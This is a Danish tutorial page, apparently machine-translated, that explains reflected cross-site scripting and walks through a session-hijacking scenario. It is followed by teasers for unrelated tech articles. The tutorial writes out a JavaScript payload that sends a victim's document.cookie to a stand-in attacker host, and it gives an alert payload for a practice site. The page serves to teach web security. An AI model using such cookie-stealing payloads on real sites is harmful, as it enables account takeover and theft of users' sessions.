Web7: XSS-udnyttelse – Del 1: Reflekteret XSS

Web7: XSS-udnyttelse – Del 1: Reflekteret XSS

Hvad er Cross-Site Scripting?

Cross-Site Scripting (XSS) er en af ​​de mest populære angrebsteknikker i dag, kendt som Godfather of Attack, og har i mange år været opført som den farligste angrebsteknik til applikationer.

Kald det ikke kort for CSS for at undgå forvirring med HTML-konceptet Cascading Style Sheet. XSS-
teknikken

For at forstå det bedre, lad os overveje følgende eksempel. En webapplikation, der tillader udskrivning af den værdi, vi sender ind via URL'en, forudsat at vi sender Ping-værdien i navnevariablen:

Web7: XSS-udnyttelse – Del 1: Reflekteret XSS

Alt er fint indtil videre, lad os gennemgå html-kildekoden:

Web7: XSS-udnyttelse – Del 1: Reflekteret XSS

Det, der er let at se, er, at den navneværdi, vi indtastede, er blevet indsat i kildekoden. Så det er muligt, at det importerede også kan indsættes. Problemet bliver alvorligt, hvis den indtastede værdi ikke er en normal streng som ovenfor, men et potentielt farligt stykke kode, noget som dette:

 

Prøv igen med ovenstående værdi:

Web7: XSS-udnyttelse – Del 1: Reflekteret XSS

Ud fra dette eksempel kan vi slutte to ting. For det første kan navnevariablen modtage enhver inputværdi og sende den til serveren til behandling. For det andet kontrollerede serveren ikke denne inputværdi, før den returnerede til browseren. Dette fører til, at javascript-koden indsættes i kildekoden.

XSS er generelt opdelt i 3 hovedtyper: Reflected, Stored og DOM baseret. I denne artikel vil jeg hovedsageligt nævne Reflected XSS-teknikken.

Op til 75 % af XSS-teknikkerne er baseret på Reflected XSS. Det kaldes reflekteret, fordi hackeren i denne type udnyttelsesscenarie skal sende offeret en URL, der indeholder ondsindet kode (normalt javascript). Offeret behøver kun at anmode om denne URL, og hackeren vil straks modtage et svar, der indeholder det ønskede resultat (refleksivitet vist her). Derudover er det også kendt som førsteordens XSS.

Det virkelige minedriftsscenario

Der er mange måder at udnytte Reflected XSS-fejlen på, en af ​​de mest kendte måder er at overtage brugerens session og derved få adgang til data og få deres rettigheder på hjemmesiden. .

Detaljer er beskrevet i følgende trin:

Web7: XSS-udnyttelse – Del 1: Reflekteret XSS

1. Brugeren logger ind på nettet og antager, at en session er tildelt:

Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4

2. På en eller anden måde sender hackeren brugeren URL'en:

http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;

Antag, at example.com er det websted, offeret besøger, hacker-site.net er det websted, der er oprettet af hackeren

3. Offeret får adgang til ovenstående URL

4. Serveren reagerer på offeret sammen med de data, der er indeholdt i anmodningen (hackerens javascript-kodestykke)

5. Offerets browser modtager svaret og udfører javascriptet

6. Det faktiske javascript, som hackeren oprettede, er som følger:

var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;

Ovenstående kommandolinje sender i det væsentlige en anmodning til hackerens websted med parameteren som brugercookien:

GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net

7. Fra dit websted vil hackeren fange ovenstående anmodningsindhold og betragte brugerens session som overtaget. På dette tidspunkt kan hackeren udgive sig for at være offeret og udøve alle rettigheder på den hjemmeside, som offeret har.

Øve sig

Google har oprettet en side for at øve sig i at udnytte XSS-fejl her: https://xss-game.appspot.com

Målet med disse udfordringer er, at du skal injicere scripts for at poppe en popup op. Den første udfordring er at illustrere den reflekterede teknik, udnyttelseskoden er ret enkel:

https://xss-game.appspot.com/level1/frame?query=alert('pwned')

Held og lykke!


Fix Kan ikke åbne denne elementfejl i Windows

Fix Kan ikke åbne denne elementfejl i Windows

Hvis du bruger Windows, får du fejlmeddelelsen Kan ikke åbne dette element. Det kan være blevet flyttet, omdøbt eller slettet. Hvad skal jeg gøre? Følg artiklen nedenfor for detaljer.

Hvad er KRACK? Hvordan KRACK brød WPA2 WiFi-sikkerhedsprotokollen

Hvad er KRACK? Hvordan KRACK brød WPA2 WiFi-sikkerhedsprotokollen

Forsker Mathy Vanhoef fra universitetet i Leuven har opdaget en alvorlig sikkerhedsfejl i netværkssikkerhedsprotokollen Wi-Fi Protected Access II (WPA2).

Ofte stillede spørgsmål om standardadgangskoder

Ofte stillede spørgsmål om standardadgangskoder

I dagens artikel vil Quantrimang opsummere nogle ofte stillede spørgsmål om standardadgangskoder for at hjælpe læserne med at besvare spørgsmål relateret til dette problem.

Top 3 multicloud sikkerhedsudfordringer og hvordan man bygger en strategi

Top 3 multicloud sikkerhedsudfordringer og hvordan man bygger en strategi

En række bedste sikkerhedsmetoder er opstået med fremkomsten af ​​multicloud-miljøer, og der er nogle vigtige skridt, som alle organisationer bør tage, når de udvikler deres egne sikkerhedsstrategier.

Installer dynamiske skærme og animerede baggrunde på Windows

Installer dynamiske skærme og animerede baggrunde på Windows

I Microsofts Windows Vista-operativsystem tillod DreamScene opsætning af dynamiske baggrunde til computere, men otte år senere er det stadig ikke tilgængeligt på Windows 10. Hvorfor har denne skik repræsenteret et tilbagevenden til fortiden gennem årene, og hvad kan vi gøre for at ændre dette?

Sådan forbinder du netværket mellem 2 bærbare computere ved hjælp af et netværkskabel

Sådan forbinder du netværket mellem 2 bærbare computere ved hjælp af et netværkskabel

Hvis vi vil forbinde to bærbare computere til netværket, kan vi bruge et netværkskabel og så ændre IP-adresserne på de to computere, og det er det.

Sådan repareres Du har ikke tilladelse til at gemme på denne placering på Windows

Sådan repareres Du har ikke tilladelse til at gemme på denne placering på Windows

Når Windows viser fejlen "Du har ikke tilladelse til at gemme på denne placering", vil dette forhindre dig i at gemme filer i ønskede mapper.

Top bedste gratis og betalte Syslog Server-software til Windows

Top bedste gratis og betalte Syslog Server-software til Windows

Syslog Server er en vigtig del af en IT-administrators arsenal, især når det kommer til at administrere hændelseslogfiler på en central placering.

Hvad er fejl 524 Der opstod en timeout, og hvordan rettes fejlen

Hvad er fejl 524 Der opstod en timeout, og hvordan rettes fejlen

Fejl 524: En timeout opstod er en Cloudflare-specifik HTTP-statuskode, der angiver, at forbindelsen til serveren blev lukket på grund af en timeout.

Hvad er fejl 0x80070570? Hvordan rettes denne fejl?

Hvad er fejl 0x80070570? Hvordan rettes denne fejl?

Fejlkode 0x80070570 er en almindelig fejlmeddelelse på computere, bærbare computere og tablets, der kører operativsystemet Windows 10. Den vises dog også på computere, der kører Windows 8.1, Windows 8, Windows 7 eller tidligere.